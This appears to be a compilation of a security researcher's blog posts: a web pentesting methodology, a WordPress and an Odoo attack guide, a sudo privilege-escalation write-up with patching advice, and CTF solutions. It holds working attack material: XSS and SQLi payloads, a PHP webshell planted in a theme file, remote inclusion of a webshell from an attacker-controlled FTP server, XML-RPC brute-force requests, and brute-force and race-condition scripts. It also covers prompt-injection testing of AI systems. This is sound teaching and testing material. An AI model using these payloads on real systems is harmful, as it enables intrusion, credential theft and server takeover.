This methodology follows a breadth‑first approach to identify common and high‑impact issues early. It’s not exhaustive, but it’s a living document based on personal experience and peer insights gathered within the security community.

Hacking Mindset

• Click every button; don’t leave a stone unturned.
• Run vulnerability scanners like Burp Suite Pro scanner, Acunetix, Nuclei, or the new AI ones. (Keep in mind that especially on legacy or poorly designed applications they may create massive test data, modify state, or break functionality.)
• Continuously inspect web requests and responses.
• When you can’t find anything, run even more enumeration. I personally believe there is always something, it’s just a matter of time till you find it.
• Automate and build your own tools and wordlists.

Logging Setup

To keep things simple, use this script from @sechurity. It preserves colors and formatting.

logt.sh

#!/bin/bash
# Helper script by @sechurity
# Create a log directory, a log file and start logging

if [ -z "${UNDER_SCRIPT}" ]; then
    logdir="${HOME}/logs"
    logfile="${logdir}/$(date +%F.%H-%M-%S).$$.log"

    mkdir -p "${logdir}"
    export UNDER_SCRIPT="${logfile}"

    echo "The terminal output is saving to ${logfile}"
    script -f -q "${logfile}"
    exit
fi

Make logt.sh accessible system-wide as logt:

chmod +x logt.sh
sudo cp logt.sh /usr/local/bin/logt

Enumeration

Enumeration is the foundation.

• Identify the application tech stack, and framework.
• Enumerate directories and files using wordlists adapted to the technology.
• Identify all input points, parameters, cookies…
• Enumerate HTTP methods (GET, POST, PUT).
• Enumerate user roles and feature differences between accounts.
• Repeat enumeration after authentication and with higher privileges.

Client-Side Vulnerabilities

Cross-Site Scripting (XSS):

• Test GET parameters (?q=…), path segments (/search/<something>), and POST bodies, especially when values are reflected.
• Try polyglot payloads (e.g. '"><img src=x>${{7*2}}), if there is an error or unusual rendering, investigate.
• Test for HTML injection (e.g. <u>test</u>). If it renders with an underline, HTML injection is confirmed.
• Try common XSS payloads such as <img src=1 onerror=alert(7)>. Note that a WAF may block some payloads; check the browser console for errors.
• Check if the session cookie is httpOnly, if it’s not, you can exfiltrate it using JavaScript => easy high impact.
• Rich text editors often use insecure functions like dangerouslySetInnerHTML and are frequently unsanitized. Finding one is a must-test for XSS.

Look for these insecure functions/tags (if left unsanitized):

innerHTML
dangerouslySetInnerHTML
v-html
document.write() / document.writeln()
outerHTML
srcdoc in <iframe>
eval() / new Function() / setTimeout("...") / setInterval("...")
echo

Cross-Site Request Forgery (CSRF)

• SameSite=Lax on cookies is generally enough to protect POST requests from cross-site attacks in modern browsers.
• Discovering XSS enables CSRF and can bypass traditional CSRF protections (including tokens) for that domain. Note that subdomains are considered same-site, so SameSite=Lax may not block requests from subdomains. Thus, XSS on a subdomain can often lead to CSRF on the main domain if protections are bypassed.
• Look for sensitive GET requests that perform state changes (for example, GET /deleteItem?id=1) as they are often missing CSRF protection.
• Attempt to bypass SameSite=Lax by overriding the method, for example by sending a GET request with _method=POST.
• Look into Client Side Path Traversal (CSPT) and start checking for it.

Server-Side Injection

SQL Injection (SQLi)

Especially if the website looks legacy, custom, or not built with a well-known framework like Laravel, or Next.js…), you should look for SQLi.

• Try injecting a ' , 1' or 1=1-- -, or a polyglot like &1/*'/*"/**/||1#\, if there is an error or weird behavior, you need to investigate.
• To confirm blind SQLi, send payloads such as word' and 1=1-- - and word' and 1=2-- - and compare responses. Ensure word is an existing item so the baseline response returns data.
• Plug your payload into sqlmap and keep changing --risk and --level values, an easy way is to create a file, let’s call it req, intercept a normal request in burp then copy it to the file, then put a * in the targeted parameter. synax: sqlmap -r req.
• If you gain DB access, try dumping the users table (If you’re allowed to), check if you can crack hashes and get administrator access.
• You can also leverage SQLi to read/write files or even get RCE under certain conditions, with sqlmap use --file-read=, --file-write=, --os-cmd=, and --os-shell.

NoSQL Injection

When you see Node.js or other NoSQL stacks, test for NoSQLi. Useful wordlist: https://github.com/cr0hn/nosqlinjection_wordlists

SSTI

• Throw in a polyglot like ${{<%[%'"/#{@}}%\. and check for errors
• Narrow down the templating engine using available cheat sheets, e.g. template-injection tables.

Authentication & Session Management

• Username/Email Enumeration
  • Observe messages for valid vs invalid usernames (On login, password change, etc.)
  • Response time analysis can also reveal valid usernames. (Order by Response received in BurpSuite )
• Password Policy
  • Test password policy enforcement during registration and password changes.
• Multi-Factor Authentication (MFA) Bypass
  • OTP Brute Force (Especially if it’s just digits )
  • Search for leaked MFA metadata or keys
• Session & JWT management
  • Test session cookie reuse across subdomains.
  • Secure & HttpOnly Flags
  • Session expiry (Shouldn’t be too long)
  • Try to crack JWT secrets
  • Algorithm Confusion for JWTs

Modern Authentication (OAuth / OIDC)

Look into https://portswigger.net/web-security/oauth for more details.

• If a site offers a “log in with” option that uses an account from another website, it’s a clear sign that OAuth is in use.
• Identify the OAuth flow (grant type) that’s in use (authorization code, implicit, PKCE).
• Test for vulnerable CSRF protection (state parameter)
• Check redirect_uri validation and open redirect chaining.
• Test token reuse, token leakage (URL fragments, logs, referer headers).
• Verify proper scope enforcement and claim validation.
• Test account linking and SSO login flows for account takeover scenarios.

Access Control & Business Logic

BAC (Broken Access Controls):

• Use Burp extensions like Auth Analyzer if you can access multiple roles. If not, compare authenticated vs unauthenticated behavior.
• Check for IDORs. Example: if you find /receipt?id=1, try id=2.
• Test change-password functionality: can you change another user’s password?
• Test for mass assignment vulnerabilities (e.g. add "role":admin on registration)

Business Logic

Be creative: price manipulation, negative quantities, fractional/rounding errors, race conditions, and abuse of workflow logic are all fruitful areas.

File Handling & Infrastructure

File upload

• Upload an accepted file (for example, test.png) and send the request to Repeater.
• Change the file extension to something random, like test.ciozjf, and upload it. This helps avoid issues where the server expects the file content to match a specific format. If the upload succeeds, the application is likely relying on an extension blacklist or none at all. If the upload is rejected, it’s probably using an extension whitelist.
• Blacklists are usually easier to bypass than whitelists, there are plenty of articles on the internet explaining how to do it. For a whitelist, here is what could be vulnerable:
  • .php, .phtml, .phar => possible RCE on php apps
  • .asp, .aspx => possible RCE on .NET apps
  • .svg, .html, .htm => XSS
  • .jsp => potential RCE on Java applications, depending on server behavior
  • .shtml => Server Side Injection (SSI), depends on the setup
• Try injecting XSS into filenames, like test.png<img src=1 onerror=alert(7)>

LFI

• Look for file-related parameters such as file=, page=, template=, include=, view=, language…
• Test basic traversal (../) and encoded or double traversal variants.
• Try common sensitive files (/etc/passwd, application configs, environment files).
• If LFI is confirmed, test for log poisoning, session file inclusion, or uploaded file inclusion to escalate to RCE.
• FUZZ, use Linux wordlist or  Windows wordlist (Not in seclists) and also the LFI-Jhaddix.txt wordlist.

  ffuf -w wordlist -u 'http://target.com/index.php?file=../../../../FUZZ'
  

SSRF

• Look for parameters that accept URLs, IPs, or hostnames (url=, redirect=, callback=, webhook=).
• Attempt to access internal endpoints
• Look for chaining opportunities (open redirect, file upload, deserialization, auth bypass).

Information Disclosure

• Check responses often to see if they return more information than they should.
• look for Backup, config, and code files (.bak, .old, .sql, .env, .swp, .git..), It’s better to prepare your custom wordlist/automation for this.
• Analyze error messages for leaked data.
• Check for directory listings especially on php and legacy apps, if there is one, there is probably more.
• Check whether sensitive user-uploaded files are stored directly on the webserver and publicly accessible.

API Security

• Enumeration is key here, enumerate endpoints, parameters, and methods.
• Mass Assignment
• Test Rate Limiting
• SMS Flooding
• GraphQL-specific Introspection queries (if enabled), Batching attacks (to bypass rate limits)

I may publish an article on API Security soon, keep an eye on the website :)

Web Cache Vulnerabilities (Deception / Poisoning)

Cache deception → sensitive content cached when it should not be.
Cache poisoning → attacker-controlled input stored and served to others.

• Identify caching layers (CDN, reverse proxy, application cache).
• Test cache key handling (headers, cookies, query parameters).
• Check for cache poisoning via unkeyed inputs.
• Test for sensitive content cached and served cross-user.
• Look for discrepancies between cached and origin responses.
• Combine with XSS, redirect, or auth issues for higher impact.

AI / ML System Vulnerabilities

Mostly reliant on prompt injection.

• Identify where AI is used (chatbots, recommendation engines, moderation, search, scoring).
• Test for prompt injection both direct (like a user prompt) and indirect via stored content or external/training data).
• Try to understand what the LLM has access to (data, privileges…)
• Check for secrets or training data leakage through prompts.
• Test output handling: does AI output flow into HTML, SQL, logs, or system commands?
• Check authorization boundaries: can low-privilege users influence high-privilege AI actions?

Cloud-Native & Infrastructure Context

• Identify cloud provider and services in use (AWS, Azure, GCP; storage, compute, IAM, serverless).
• Enumerate exposed cloud assets (object storage, metadata services, admin panels, APIs).
• Check for public or improperly scoped storage buckets and blobs (especially S3 buckets).
• Test IAM misconfigurations (over‑permissive roles, privilege escalation paths).
• Review secrets handling (hardcoded keys, env vars, CI/CD leaks).

Framework Specific Hints

WordPress

Check my WordPress Pentesting Guide

Next.js / React / Angular

• Inspect browser sources for /api, /server, /backend… endpoints and test for broken access control. Example: (I own this website, please don’t hack me)

• You can also use LinkFinder
• Test for Prototype pollution

Java / Spring Boot

• Test Actuator endpoints (/actuator, /beans, /mappings).
• Directory wordlist for Spring Boot: spring-boot.txt

Laravel (PHP)

• Check for exposed .env files and leaked APP_KEY.
• Test for debug mode (APP_DEBUG=true) and stack traces.

Flask (Python)

• Check for debug mode and Werkzeug console exposure.
• Test for SSTI in Jinja2 templates.

New Note-worthy CVEs

• React2Shell (CVE-2025-55182): affects React 19
• MongoBleed (CVE-2025-14847): affects all MongoDB versions from 2017 to late 2025
• Next.js Middleware Auth Bypass (CVE-2025-29927): Starting in Next.js version 1.11.4 and prior to versions 12.3.5, 13.5.9, 14.2.25, and 15.2.3
• Privilege escalation to root via sudo (CVE-2025-32463): Affects unpatched sudo 1.9.14, 1.9.15, 1.9.16, 1.9.17.

Conclusion

This methodology outlines a breadth-first approach to web application penetration testing. It serves as a structured framework to efficiently identify vulnerabilities, but should be adapted and expanded based on the specific technology stack and unique logic of each application.

I have compiled a wordlist of relevant WordPress endpoints at WordPress Enumeration Wordlist, it should be helpful for enumeration!

General Information

WordPress is a free and open-source Content Management System (CMS) built on a PHP and MySQL (or MariaDB) backend. It powers over 40% of all websites on the internet (as of 2025).

Core Components

• filesystem
  • wp-content (themes, plugins, uploads)
  • wp-includes (core libraries)
  • wp-admin (admin UI)

• example files
  • wp-config.php (database credentials, salts, debug settings)
  • .htaccess / web.config (rewrite and access rules)
  • readme.html, license.txt (version leakage)

• uploads
  • wp-content/uploads — common location for media and accidental sensitive files

• remote interfaces & auth endpoints
  • xmlrpc.php — legacy XML-RPC API; can enable pingback abuse and brute-force vectors
  • login endpoints: wp-login.php, wp-admin/, wp-signup.php (multisite).

User Roles

Super Admin: (Multisite only) Full control over the entire network of sites.

Administrator: Full control over a single site. Can install plugins/themes, edit code, and manage users.

Editor: Can manage and publish all content (posts, pages) on the site, including other users’ content.

Author: Can write, publish, and manage only their own posts.

Contributor: Can write and edit their own posts, but cannot publish.

Subscriber: Can manage their profile, browse content and leave comments.

Enumeration

WordPress version

https://example.com/wp-links-opml.php

Or

curl -s https://example.com | grep WordPress
<meta name="generator" content="WordPress 6.0.10" />

There are many other ways to determine WordPress version.

Juicy Endpoints

I have compiled a wordlist of relevant WordPress endpoints at WordPress Enumeration Wordlist, it should be helpful for enumeration

dirsearch -u https://example.com -w wp-karrab.txt

Relevant endpoints to check for include:

/robots.txt
/xmlrpc.php
/wp-admin/
/wp-login.php
/wp-content/uploads
/wp-includes/
/sitemap.xml
/wp-sitemap.xml
/feed
/feed/atom/
/wp-json/wp/v2/
/wp-json/wp/v2/users
/wp-json/wp/v2/media
/wp-config.php.bak

Accessing the wp-json/wp/v2/ endpoint of a WordPress site’s REST API can reveal various types of information depending on how the site is configured/used.

• Posts:
  • /wp-json/wp/v2/posts provides a list of published posts. Each post usually includes the title, content, excerpt, author ID, and publication date.
• Pages:
  • /wp-json/wp/v2/pages reveals the site’s published pages with similar details as posts.
• Users:
  • /wp-json/wp/v2/users can expose usernames and IDs of registered users.
• Media:
  • /wp-json/wp/v2/media shows media files like images and videos, including URLs, titles, and associated metadata.
• Categories:
  • /wp-json/wp/v2/categories lists all post categories with their IDs, names, and descriptions.
• Tags:
  • /wp-json/wp/v2/tags provides information on tags used in posts.
• Comments:
  • /wp-json/wp/v2/comments can display comments, including author details and the comment content.
• Custom Post Types:
  • If the site uses custom post types, these can also be accessed if they are publicly available through the API.
• Taxonomies:
  • /wp-json/wp/v2/taxonomies gives information about custom taxonomies (e.g., custom categories or tags).

I once found sensitive files by CTRL+F searching for .pdf in /wp-json/wp/v2/media

Directory Listings

Check at /wp-content/uploads, /wp-includes, and other endpoints (depending on your enumeration).

If you find a directory listing in one location, it’s likely present in others too, keep searching for more.

A really cool way to find directory listings is Google dorking with the following dork:

intitle:Index of site:*.example.com OR site:example.com

User Enumeration

• Can get a user list (those who have published posts) using /wp-json/wp/v2/users/, if that gets blocked, you can use:

  ?rest_route=/wp/v2/users
  /wp-json/wp/v2/users/1
  

  

• You can also bruteforce usernames using the id: https://example.com/?author=1 redirects to https://example.com/author/username.

• Username enumeration via error messages, at /wp-login.php

Invalid user

Valid user

• Also using /wp-json/oembed/1.0/embed?url=, change the ?url= value to any valid post’s link, it may reveal information about the author

  https://example.com/wp-json/oembed/1.0/embed?url=https://example.com/?p=3
  

  (Visit /?rest_route=/wp/v2/posts to check what posts are there)

• You may get an author name by searching for author at /feed/atom

• Using WPScan

  wpscan --url https://example.com --enumerate u
  

  

WPScan

This command can do a whole lot of things

wpscan --url https://example.com/ --api-token <YOUR_TOKEN_HERE>  -e vp,vt,u --plugins-detection aggressive --random-user-agent --verbose

• --api-token: Uses your WPScan API token to access the latest vulnerability database.
• -e vp,vt,u: Enumerates:
  • vp: Vulnerable plugins
  • vt: Vulnerable themes
  • u: Users
• --plugins-detection aggressive: Uses more intensive methods to find hidden/unchanged plugins.
• --random-user-agent: Picks a User-Agent at random from WPScan’s list to help evade simple UA filters.
• --verbose: Shows detailed output.

General checks

WordPress version and theme

Vulnerable plugins, all you need is to find a working proof of concept (Good luck)

Exploitation

Open registration

Check for these (available at WordPress Enumeration Wordlist as well)

/wp-register.php 
/wp-signup.php
/wp-login.php?action=register

I once found registration enabled, registered a low privilege account then uploaded media and got XSS using a .svg file because of a misconfigured whitelist.

XMLRPC

XML-RPC is a lightweight protocol that encodes remote procedure calls as XML and sends them over HTTP; xmlrpc.php in WordPress sometimes exposes some RPC methods (eg. system.listMethods, wp.getUsersBlogs, pingback.ping).

/xmlrpc.php

List available methods: (POST request)

<methodCall>
	<methodName>system.listMethods</methodName>
</methodCall>

Bruteforce login credentials:

<methodCall>
	<methodName>wp.getUsersBlogs</methodName>
	<params>
		<param>
			<value>username</value>
		</param>
		<param>
			<value>password</value>
		</param>
	</params>
</methodCall>

Invalid credentials

Valid credentials

You can also use system.multicall to bruteforce many logins at once, but I noticed if the first username & password pair is incorrect it will give a “Incorrect username or password” result for all other pairs even if they were valid. (Maybe this was a bug on my part).

Bruteforce XMLRPC using wpscan:

wpscan --password-attack xmlrpc -U karrab -P passwords.txt -t 30 --url https://example.com

RCE by editing themes

You can do this after compromising the administrator account.

If the current theme is Twenty Twenty-Two or more recent, you may need to go to Appearance -> Themes and install Twenty Twenty-One or before to be able to easily modify the 404.php file, then go to Tools -> Theme File Editor, and select Twenty Twenty-One on the top right.

If the active theme is Twenty Twenty-One or older:

if(isset($_REQUEST["cmd"])){ echo "<pre>"; $cmd = ($_REQUEST["cmd"]); system($cmd); echo "</pre>"; die; }

If the active theme is Twenty Twenty-Two or more recent: (Install theme Twenty Twenty-One then select it in the editor, you don’t have to activate it)

Command execution:

http://127.0.0.1:8000/wp-content/themes/twentytwentyone/404.php?cmd=ls

References & Conclusion

This cheatsheet condenses practical reconnaissance techniques, high-value endpoints, and common exploitation paths to accelerate WordPress security assessments. Use the WPScan commands and the WordPress Enumeration Wordlist to streamline enumeration, but always obtain explicit authorization and follow responsible disclosure. Verify and reproduce findings carefully, prioritize fixes for high-impact issues, and share improvements or corrections so the community benefits.

References

• Wordpress - Offensive Security Cheatsheet
• WordPress Pentesting - far00t01
• 6 ways to enumerate WordPress Users

Feedback and collaboration are welcome — if you have additions or corrections, please contact me.

OdooMap is built for the job — a Swiss army knife for Odoo reconnaissance, enumeration, and brute-forcing. Check it out on GitHub: OdooMap

Disclaimer: This guide is for educational and authorized testing purposes only. Do not attempt to access or test systems you don’t own or have explicit permission to test.

Recon & Information Gathering

Before launching any attacks, first confirm the target application is running Odoo and determine its version. This will guide which exploits or weaknesses you should focus on.

odoomap -u https://example.com

• Identify Odoo version and instance details. For example, the Odoo instance running at http://localhost:8069/ reveals:

  Odoo detected (version: 18.0-20250624)
  

• Enumerate databases exposed by the instance:

  Found 1 database(s):
    - mydb
  

• Check for portal registration availability:

  Portal registration enabled at: http://localhost:8069/web/signup
  

• Enumerate publicly accessible endpoints and modules, which can indicate features in use and potential attack surfaces:

  - /web: Available (main web client)
  - /shop: Available (ecommerce)
  - /forum: Available (community forum)
  - /contactus: Available (contact page)
  - /website/info: Available (info pages)
  - /blog: Available (blog)
  - /events: Available (events management)
  - /jobs: Available (job postings)
  - /slides: Available (presentations)
  

Use this information to focus testing on modules and entry points that are actually live.

Enumerate Databases

Odoo instances may expose /web/database/selector or leak database names through API calls. But sometimes they don’t:

So you can brute-force with a wordlist:

odoomap -u https://example.com -n -N db-names.txt

Hints:

• Database names are case-sensitive but they are often lowercase, so your wordlist should cover business names, common names like odoo, prod, test, or even the target’s domain name.

Credential Brute-force

Next, bruteforce user credentials:

odoomap -u https://example.com -D discovered_db -b --usernames users.txt --passwords passwords.txt

• Usernames can be simple (demo, admin) or email addresses (e.g., test@target-domain.com).

• Accounts are database-specific, meaning each database has its own set of users. You must brute-force them separately using the -D database option.

• You can also try the default usernames/passwords lists by omitting --usernames and --passwords

Master Password Bruteforce:

Odoo’s databases are protected by a Master Password, if you obtain it, you will be able to control all the database management operations including creation, backup, duplication, and deletion.

odoomap -u https://example.com -M -p pass-list.txt

Model Enumeration

Once authenticated, enumerate models:

odoomap -u https://example.com -D db -U user -P pass -e

• This reveals all accessible models, including custom ones.

• Defaulted to 100, change limit using -l limit

• If your account lacks permissions, model listing may fail. In that case, OdooMap will automatically try to brute-force available models using its default wordlist, which you can replace like this:

odoomap -u https://example.com -D db -U user -P pass -e -B --model-file models.txt

Check for read/write/create/delete permissions:

odoomap -u https://example.com -D db -U user -P pass -e -pe

Why this matters:

• Permissions misconfiguration = Higher chance for data exfiltration or privilege escalation.

Data Extraction

If you have read access, start dumping interesting models:

odoomap -u https://example.com -D db -U user -P pass -d res.users,res.partner

You can also provide a file containing model names (make sure the file exists, or the filename itself will be treated as a model name):

odoomap -u https://example.com -D db -U user -P pass -d models.txt

• OdooMap checks if the specified file exists. If it does, it reads model names line by line. If it doesn’t, the input is treated as a single model name and attempt to dump it.

• Dumped models are saved to ./dump/model-name.json by default. To specify a directory, use -o ./dumped-data (folder, not file).

• The default record limit is set to 100. This means that once OdooMap has dumped 100 records from a specific model, it will automatically move on to the next model in the list. You can adjust this limit by using the -l limit option.

Example dump results:

Extending with Plugins

OdooMap isn’t limited to just dumping models. It comes with a plugin system that lets you extend functionality for custom security assessments.

To see what plugins are built into your version of OdooMap:

odoomap --list-plugins

CVE Scanner Plugin

The CVE Scanner plugin checks the detected Odoo version against known vulnerabilities from the NVD database. This is useful for quickly spotting low-hanging fruit.

odoomap -u https://example.com --plugin cve-scanner

Odoo Privilege Escalation Plugin

The old-odoo-privesc plugin attempts privilege escalation for Odoo versions < 15.0. If the target instance is outdated and the current account has insufficient privileges, this plugin can be used to escalate.

odoomap -u https://example.com -D db -U user -P pass --plugin old-odoo-privesc

Plugin Development

If the built-in plugins don’t cover your use case, you can easily develop your own, and we’d be happy to accept your pull requests to OdooMap.

Plugin Structure

All plugins are stored under:

odoomap/plugins/

Each plugin is just a Python file that inherits from the BasePlugin class and implements a standardized interface.

Required Methods

• get_metadata()
  Returns metadata about your plugin, such as name and description.

• run()
  The main logic of your plugin — what it actually does when executed.

Example:

Conclusion

OdooMap streamlines reconnaissance, enumeration, and exploitation efforts against Odoo instances by automating the discovery of databases, users, models, and permissions.
By combining version fingerprinting, targeted brute-forcing, and granular model analysis, it allows you to quickly identify exposed functionalities and misconfigurations that can lead to sensitive data exposure.

Fresh Offline Install and Initial Findings

Vulnerable to CVE-2025-32463!

CVE-2025-32463: Overview

• Affected versions: sudo 1.9.14 through 1.9.17

• Fixed in: 1.9.17p1

• Root cause: Mishandling of the -R/--chroot option that allows loading attacker-controlled shared libraries before performing privilege checks.

• Impact: Any user granted a sudo rule (even limited ones) can craft a malicious chroot environment containing a fake nsswitch.conf and a trojanized library, then execute arbitrary code as root.

Proof of Concept

My test VM shipped with:

sudo --version
# sudo 1.9.15p5

I cloned and ran the publicly available PoC from my GitHub repository: CVE-2025-32463 PoC

git clone https://github.com/MohamedKarrab/CVE-2025-32463
cd CVE-2025-32463
./get_root.sh

Upon execution, the script escapes to a root shell.

The Role of Unattended-Upgrades

Here’s the kicker: if I had installed Ubuntu with internet access enabled, this vulnerability would never have been exploitable on my system. That’s thanks to Debian’s Unattended-Upgrades service, which is enabled by default on Ubuntu Desktop and Server.

Unattended-Upgrades automatically downloads and installs only security-related package updates in the background, without any user intervention. Even though I never ran sudo apt update or sudo apt upgrade.

Verifying Unattended-Upgrades in Action

On a second Ubuntu installation that did have network connectivity, you can confirm the service is running:

systemctl status unattended-upgrades

Then inspect its logs to see which packages were auto-patched:

sudo cat /var/log/unattended-upgrades/unattended-upgrades.log

And of course, sudo is there!

As you can see, the vulnerable version is replaced seamlessly, closing the exploit window.

Enabling or Tuning Unattended-Upgrades

If you want to ensure your system is always protected:

1. Enable the service (if disabled):

    sudo dpkg-reconfigure --priority=low unattended-upgrades
   

2. Review its configuration in /etc/apt/apt.conf.d/50unattended-upgrades. Key options include:

   • Unattended-Upgrade::Allowed-Origins for which repositories to auto-patch

   • Unattended-Upgrade::Mail to receive email notifications

   • Unattended-Upgrade::Remove-Unused-Dependencies to clean up old packages

3. Test in dry-run mode: Simulates what would happen without performing any actual upgrade.

    sudo unattended-upgrade --dry-run --debug
   

Conclusion

By installing Ubuntu offline, I inadvertently sidestepped the very mechanism designed to protect my VM. CVE-2025-32463 highlights not only the importance of prompt patching but also the value of unattended-upgrades as a safety net. Always verify that your systems are configured to automatically receive and apply security fixes—your future self will thank you.

ez

Visiting the challenge link at http://4.210.147.78:8071/ gives us a web page with phpinfo and some code at the end.

Here is what the code says:

<?php  
phpinfo(); highlight_file(__FILE__);  
if(isset($_SERVER['argv']) && preg_match('/^--dir=([^&]+)/', implode(' ', $_SERVER['argv']), $m)
 && ($dir = urldecode($m[1])) && @file_exists("$dir/index.twig")) {  
    include("$dir/index.twig");  
}  
?>

I started checking around in the phpinfo data and I noticed some interesting settings:

• allow_url_include: On

  ➤ Lets PHP include files from a URL (e.g., include('http://example.com/code.php')). Which is dangerous, and often leads to RFI (Remote File Inclusion).

• register_argc_argv: On

  ➤ Makes $_SERVER['argc'] and $_SERVER['argv'] available, containing the number and list of arguments passed through CLI. Not used in web requests unless forced.

Ok with these assets in our mind, let’s break the code down.

<?php
phpinfo();
highlight_file(__FILE__);  

• Displays PHP configuration (phpinfo()) and shows the source code of the current file (highlight_file(__FILE__)).

if (isset($_SERVER['argv']) && preg_match('/^--dir=([^&]+)/', implode(' ', $_SERVER['argv']), $m)
 && ($dir = urldecode($m[1])) && @file_exists("$dir/index.twig") ) { include("$dir/index.twig");}

1. Checks if $_SERVER['argv'] is set:

   • Thanks to register_argc_argv: On, this array is available even in web context (though not standard).

   • Can be triggered via: ?--dir=your_value

2. Combines argv into a string and matches --dir=VALUE:

   • It uses a regex to extract --dir=... from the argv.

   • Example match: --dir=http://evil.com/payload

3. Decodes the matched value (urldecode) and assigns it to $dir

4. @file_exists() checks if $dir/index.twig exists:

5. Includes the matched file:

   • If all checks pass, it runs include("$dir/index.twig")

This just made me think If I could control $dir and provide a my own index.twig file, it would be a possible RCE vector.

So I set up an index.twig file in my VPS, containing a classic php webshell:

<?php system($_GET['x']); ?>

Then served it with a python3 http server.

I tried with the following payload: http://4.210.147.78:8071/?--dir=http://IP:7777/, but no requests reached my web server..

Something was wrong, I tried to run it locally and understand what was going on, and apparently the @file_exists("$dir/index.twig") was always failing, I tried data://, file://, phar and more, but it didn’t work.

It’s like if @file_exists will always return false if it was checking for a remote file.

But then one of my teammates pointed out a very interesting article: How an obscure PHP footgun led to RCE in Craft CMS

• file:// supports stat(), but this is clearly unhelpful;
• phar:// also supports stat(), but we can’t easily smuggle a valid PHAR file onto the filesystem;
• ftp:// does indeed support some file system calls, including file_exists; interesting…

Will FTP be the exception? Let’s find out, I spawned an FTP server, then tried: http://4.210.147.78:8071/?--dir=ftp://anonymous:@IP/&x=ls

And indeed that was it!

Here goes the flag:

The Misplaced Trust

As we can see in the description, we got the credentials alice:password1 to login with:

We got 2 functions: Load My Documents, and Get Docuemnt.

The first one would load some documents for our user Alice:

We got MQ, Mg, and Ng, let’s try using one of these IDs in the second function:

Interesting, but trying the other 2 IDs doesn’t really add much.

How about trying to bruteforce all 2 letter combinations? With some python we can get them:

import itertools
import string

letters = string.ascii_letters  # 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
combinations = [''.join(pair) for pair in itertools.product(letters, repeat=2)]

# Print or use the combinations
for combo in combinations:
    print(combo)

Now to the intruder:

We did indeed get a few positive ones, but that doesn’t cut it; no sensitive information, nor the flag were present. But at least we learned that there are at least 2 more users, Bob and Charlie.

I tested for password reuse (password1) it didn’t work, but using password2 I got access to Bob’s account:

Nothing so far, even Charlie’s account with password3 didn’t add much information.

Not many things are left to try, but maybe these IDs aren’t random after all, let’s check them with a few common encodings:

It seems like Base64 encoding is being used, and that Mw -> 3, NQ -> 5. It it all numbers? How about burteforcing all the numbers from 0 to 1000 but base64 encoded?

Here is the configuration:

And a result that immediately stands out contains the flag!

Vroom

We are first presented with a login page:

It doesn’t seem like we can register a user, so let’s check the source code. It’s a flask application, mainly an app.py with a few templates, one of them being flag.html which will essentially print the flag if we could successfully visit /flag

As expected, this won’t work right away.

Let’s read some code, starting from the function that gets the flag:

Okay, so we need to match the auth parameter, as in /flag?auth=correct_value. Let’s see what get_api_auth_token() does

Well, it just gets the API_AUTH key from the database, I wonder if we have the means to leak or edit that value.. Oh we actually do, there is set_api_auth_token() that would change the API_AUTH to a parameter we provide.

Where is it called though? Sadly the /api/setAuthorization is only accessible locally, I smell SSRF

The pieces of the puzzle are coming together, we have this /api/fetch that will do the thing, but wait.. it requires a token parameter, which should be equal to the ‘user_token’, unluckily for us, the user token is randomly generated and can’t be directly bruteforced.

But digging more into the source code, the base.html template actually prints the user_token, it’s just how the login functionality is coded, so all we need now is to find a way to login to the website.

As I mentioned earlier, there is no user registration, but within the init_db() function there was an interesting user being added, and his password is just the username + ":" + uuid + ":" + generate_random_password().

generate_random_password() function is actually secure and it returns a 64 byte string, no way we’re gonna bruteforce that right? Well, we will, but partially..

If you review the last code sample thoroughly, you will notice it’s using bcrypt to generate a password hash, nothing out of the ordinary, but if you didn’t know, there is a catch:

This means bcrypt will only take the first 72 characters of a password and use them to generate the hash, anything beyond that is omitted, For example, let’s say you registered a user with this password

eb1c327a93739589f5c4f0c31443a0bff6845e3d8849e4c91be2ad59d4879a4d2e23c43794f319e2fe2f838299ce4b39785b8e4580fbcc4d95344c577c8413b1_TOTALLY_NOT_NEEDED_PART_AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

You actually can login successfully just with this portion of your password (the first 72 characters)

eb1c327a93739589f5c4f0c31443a0bff6845e3d8849e4c91be2ad59d4879a4d2e23c43794f319e2fe2f838299ce4b39785b8e4580fbcc4d95344c577c8413b1

Going back to the challenge, we can calculate 71 bytes

33 (username)  # a_retro_hero_fighting_80s_monster
+ 1 (colon)    # :
+ 36 (uuid)    # bdf7418a-8ec1-4624-a5fa-69d3f8d50abc
+ 1 (colon)    # :
= 71 bytes

This leaves us with only 1 unknown character, which is easily bruteforceable:

import requests

url = 'https://vroom.tekup-securinets.org/login'
username = 'a_retro_hero_fighting_80s_monster'
uuid = 'bdf7418a-8ec1-4624-a5fa-69d3f8d50abc'

session = requests.Session()

for x in '0123456789abcdef':
    candidate_password = f'{username}:{uuid}:{x}'
    print(f'Trying with last byte: {x} …')
    res = session.post(url, data={
        'username': username,
        'password': candidate_password
    }, allow_redirects=False)

    # Flask redirects to `/` on success, 302 Found
    if res.status_code == 302:
        print(f'[+] Success! Working password: {candidate_password}')
        break

else:
    print('[-] Failed to find the correct password.')

And indeed, we get our password and login:

Ok we finally got the user_token, let’s try and fetch something

Fetching the flag directly is a no-go, but we can leverage this SSRF to set an arbitrary auth token and use it to get the flag But three is more to it, the latter function sets our own API_AUTH but then immediately revokes it because the second parameter token not equal to the admin_token, which we have no way of obtaining.

Let’s take a look another look at the function that gets the flag, can you think of a way to get the flag without needing the admin_token?

I hope you guessed right, because there is a gap in time where we can sneak in, set a custom API_AUTH, and get the flag, before the application resets the API_AUTH. It’s a Race Condition.

All we need is to send 2 requests simultaneously, until we get a good hit.

# Req1 (sets a custom **API_AUTH** value: 'Karrab')
/api/fetch?token=bfe51f59ac25b5329138ce0a5059eb07&url=http://127.0.0.1:5000/api/setAuthorization?auth=Karrab

# Req2 (gets the flag with 'Karrab' as the auth value)
/api/fetch?token=bfe51f59ac25b5329138ce0a5059eb07&url=http://127.0.0.1:5000/flag?auth=Karrab

Here is how to do it in Burpsuite: Let’s first start by preparing the two requests in the repeater (intercept then send each one there)

Now we add both tabs to a group

And we select “Send group in parallel” as a send option

Now we hit send and after a few attempts:

Here it goes Securinets{__RACING_THE_TIME!!}

BBSqli

Ok it’s just a login page, and the name BBSqli hints on a SQL Injection attack, let’s see

Alright it’s a similar structure to the Vroom challenge, a regular Flask app.

Assuming we log in, here is what the dashboard would look like It prints the user’s username and email. Let’s keep note of that.

the main functions in the code are

add_flag(flag) # Executes once in the beginning and adds the flag to the database in the 'flags' table
